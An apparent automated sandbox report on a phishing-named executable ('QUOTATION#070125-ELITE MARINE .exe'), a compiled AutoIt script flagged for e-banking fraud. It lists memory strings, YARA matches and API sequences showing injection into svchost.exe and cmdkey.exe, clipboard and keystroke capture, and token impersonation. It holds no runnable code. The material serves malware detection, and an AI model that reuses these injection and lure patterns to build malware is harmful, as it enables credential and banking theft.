Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006AEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_006AEAFF

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006AED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_006AED6A

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

0_2_006AEAFF

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0069AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_0069AA57

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006C9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_006C9576

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.15246117394.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15246023580.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11733519795.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11735115611.00000000038A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: QUOTATION#070125-ELITE MARINE .exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000002.11156284420.00000000006F2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_30f9ef9f-d
Source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000002.11156284420.00000000006F2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4e62391a-c
Source: QUOTATION#070125-ELITE MARINE .exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fd81b81b-c
Source: QUOTATION#070125-ELITE MARINE .exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_de904bce-c

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION#070125-ELITE MARINE .exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042CA33 NtClose,	1_2_0042CA33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B90 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03972B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972BC0 NtQueryInformationToken,LdrInitializeThunk,	1_2_03972BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972A80 NtClose,LdrInitializeThunk,	1_2_03972A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972EB0 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_03972EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972D10 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03972D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039734E0 NtCreateMutant,LdrInitializeThunk,	1_2_039734E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03974260 NtSetContextThread,	1_2_03974260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03974570 NtSuspendThread,	1_2_03974570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B80 NtCreateKey,	1_2_03972B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972BE0 NtQueryVirtualMemory,	1_2_03972BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B10 NtAllocateVirtualMemory,	1_2_03972B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B00 NtQueryValueKey,	1_2_03972B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B20 NtQueryInformationProcess,	1_2_03972B20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972AA0 NtQueryInformationFile,	1_2_03972AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972AC0 NtEnumerateValueKey,	1_2_03972AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972A10 NtWriteFile,	1_2_03972A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039729D0 NtWaitForSingleObject,	1_2_039729D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039729F0 NtReadFile,	1_2_039729F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972FB0 NtSetValueKey,	1_2_03972FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972F00 NtCreateFile,	1_2_03972F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972F30 NtOpenDirectoryObject,	1_2_03972F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972E80 NtCreateProcessEx,	1_2_03972E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972ED0 NtResumeThread,	1_2_03972ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972EC0 NtQuerySection,	1_2_03972EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972E00 NtQueueApcThread,	1_2_03972E00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972E50 NtCreateSection,	1_2_03972E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972DA0 NtReadVirtualMemory,	1_2_03972DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972DC0 NtAdjustPrivilegesToken,	1_2_03972DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972D50 NtWriteVirtualMemory,	1_2_03972D50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972CD0 NtEnumerateKey,	1_2_03972CD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972CF0 NtDelayExecution,	1_2_03972CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C10 NtOpenProcess,	1_2_03972C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C30 NtMapViewOfSection,	1_2_03972C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C20 NtSetInformationFile,	1_2_03972C20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C50 NtUnmapViewOfSection,	1_2_03972C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039738D0 NtGetContextThread,	1_2_039738D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973C90 NtOpenThread,	1_2_03973C90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973C30 NtOpenProcessToken,	1_2_03973C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C93771 NtSuspendThread,	1_2_03C93771
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C93460 NtSetContextThread,	1_2_03C93460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C93A80 NtResumeThread,	1_2_03C93A80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792B10 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_03792B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792B00 NtQueryValueKey,LdrInitializeThunk,	3_2_03792B00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_03792BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_03792B90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792B80 NtCreateKey,LdrInitializeThunk,	3_2_03792B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792A10 NtWriteFile,LdrInitializeThunk,	3_2_03792A10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792AC0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_03792AC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792A80 NtClose,LdrInitializeThunk,	3_2_03792A80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037929F0 NtReadFile,LdrInitializeThunk,	3_2_037929F0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792F00 NtCreateFile,LdrInitializeThunk,	3_2_03792F00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792E50 NtCreateSection,LdrInitializeThunk,	3_2_03792E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_03792D10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792C30 NtMapViewOfSection,LdrInitializeThunk,	3_2_03792C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792CF0 NtDelayExecution,LdrInitializeThunk,	3_2_03792CF0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037934E0 NtCreateMutant,LdrInitializeThunk,	3_2_037934E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03794260 NtSetContextThread,	3_2_03794260
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03794570 NtSuspendThread,	3_2_03794570
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792B20 NtQueryInformationProcess,	3_2_03792B20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792BE0 NtQueryVirtualMemory,	3_2_03792BE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792AA0 NtQueryInformationFile,	3_2_03792AA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037929D0 NtWaitForSingleObject,	3_2_037929D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792F30 NtOpenDirectoryObject,	3_2_03792F30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792FB0 NtSetValueKey,	3_2_03792FB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792E00 NtQueueApcThread,	3_2_03792E00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792ED0 NtResumeThread,	3_2_03792ED0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792EC0 NtQuerySection,	3_2_03792EC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792EB0 NtProtectVirtualMemory,	3_2_03792EB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792E80 NtCreateProcessEx,	3_2_03792E80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792D50 NtWriteVirtualMemory,	3_2_03792D50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792DC0 NtAdjustPrivilegesToken,	3_2_03792DC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792DA0 NtReadVirtualMemory,	3_2_03792DA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792C50 NtUnmapViewOfSection,	3_2_03792C50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792C20 NtSetInformationFile,	3_2_03792C20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792C10 NtOpenProcess,	3_2_03792C10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03792CD0 NtEnumerateKey,	3_2_03792CD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037938D0 NtGetContextThread,	3_2_037938D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03793C30 NtOpenProcessToken,	3_2_03793C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03793C90 NtOpenThread,	3_2_03793C90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347EF38 NtQueryInformationProcess,NtReadVirtualMemory,	3_2_0347EF38
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03483778 NtSuspendThread,	3_2_03483778
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03483468 NtSetContextThread,	3_2_03483468
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0348448D NtMapViewOfSection,	3_2_0348448D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03483A88 NtResumeThread,	3_2_03483A88
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03484848 NtUnmapViewOfSection,	3_2_03484848
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347F800 NtMapViewOfSection,	3_2_0347F800
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03483D98 NtQueueApcThread,	3_2_03483D98

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0069D5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_0069D5EB

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00691201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00691201

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0069E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_0069E8F6

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00638060	0_2_00638060
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A2046	0_2_006A2046
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00698298	0_2_00698298
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0066E4FF	0_2_0066E4FF
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0066676B	0_2_0066676B
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006C4873	0_2_006C4873
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0063CAF0	0_2_0063CAF0
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0065CAA0	0_2_0065CAA0
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0064CC39	0_2_0064CC39
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00666DD9	0_2_00666DD9
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0064D07D	0_2_0064D07D
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0064B119	0_2_0064B119
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006391C0	0_2_006391C0
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00651394	0_2_00651394
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00651706	0_2_00651706
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0065781B	0_2_0065781B
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0064997D	0_2_0064997D
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00637920	0_2_00637920
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006519B0	0_2_006519B0
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00657A4A	0_2_00657A4A
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00651C77	0_2_00651C77
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00657CA7	0_2_00657CA7
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006BBE44	0_2_006BBE44
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00669EEE	0_2_00669EEE
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0063BF40	0_2_0063BF40
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00651F32	0_2_00651F32
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0106D120	0_2_0106D120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418943	1_2_00418943
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042F053	1_2_0042F053
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004030D0	1_2_004030D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004100FA	1_2_004100FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410103	1_2_00410103
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004012C0	1_2_004012C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416B40	1_2_00416B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416B43	1_2_00416B43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410323	1_2_00410323
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E323	1_2_0040E323
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E467	1_2_0040E467
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E473	1_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402780	1_2_00402780
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E310	1_2_0394E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03902245	1_2_03902245
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0010E	1_2_03A0010E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039300A0	1_2_039300A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EE076	1_2_039EE076
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F6757	1_2_039F6757
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394A760	1_2_0394A760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03942760	1_2_03942760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA6C0	1_2_039FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393C6E0	1_2_0393C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395C600	1_2_0395C600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964670	1_2_03964670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0A526	1_2_03A0A526
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4BC0	1_2_039B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940B10	1_2_03940B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FCA13	1_2_039FCA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FEA5B	1_2_039FEA5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FE9A6	1_2_039FE9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DC89F	1_2_039DC89F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956882	1_2_03956882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E810	1_2_0396E810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03926868	1_2_03926868
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FEFBF	1_2_039FEFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394CF00	1_2_0394CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F0EAD	1_2_039F0EAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932EE8	1_2_03932EE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960E50	1_2_03960E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03982E48	1_2_03982E48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0E6D	1_2_039E0E6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952DB0	1_2_03952DB0
